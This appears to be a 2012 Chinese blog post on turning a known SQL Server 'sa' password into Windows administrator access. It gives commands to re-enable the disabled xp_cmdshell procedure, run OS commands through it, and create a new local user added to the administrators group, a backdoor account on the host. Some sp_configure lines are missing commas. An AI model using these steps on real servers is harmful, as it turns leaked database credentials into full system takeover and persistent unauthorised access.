sqlserver2008里创建系统管理员

sql2008如何使用被禁止的"xp_cmdshell"

前提是知道sa的连接密码,而且服务器能连接1433,不然啥都别说. 
C:\>DIR C:\ 
SQL Server 阻止了对组件 ''xp_cmdshell'' 的 过程''sys.xp_cmdshell'' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ''xp_cmdshell''。有关启用 ''xp_cmdshell'' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

SQL   Server   2005   中引入的   xp_cmdshell   选项是服务器配置选项,使系统管理员能够控制是否可以在系统上执行   xp_cmdshell   扩展存储过程。默认情况下,xp_cmdshell   选项在新安装的软件上处于禁用状态,但是可以通过使用外围应用配置器工具或运行   sp_configure   系统存储过程来启用它,如下面的代码示例所示: 
连上后,用查询分析器,依次执行下面的语句,就可以了. 


USE master 
EXEC sp_configure ''show advanced options'', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure ''xp_cmdshell'', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure  ''show advanced options'', 0 


结果是成功了,呵呵!

 

use master
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options'1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell'1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
--测试是否有xp_cmdshell的权限,如果列出数据,说明有权限
exec xp_cmdshell 'dir c:'
go

--添加windows用户:
EXEC xp_cmdshell 'net user ghd /add';
--设置好密码:
EXEC xp_cmdshell 'net user ghd password';
--提升到管理员:
EXEC xp_cmdshell 'net localgroup administrators ghd /add';

posted on 2012-05-08 07:46  zqonline  阅读(1230)  评论(0编辑  收藏  举报

导航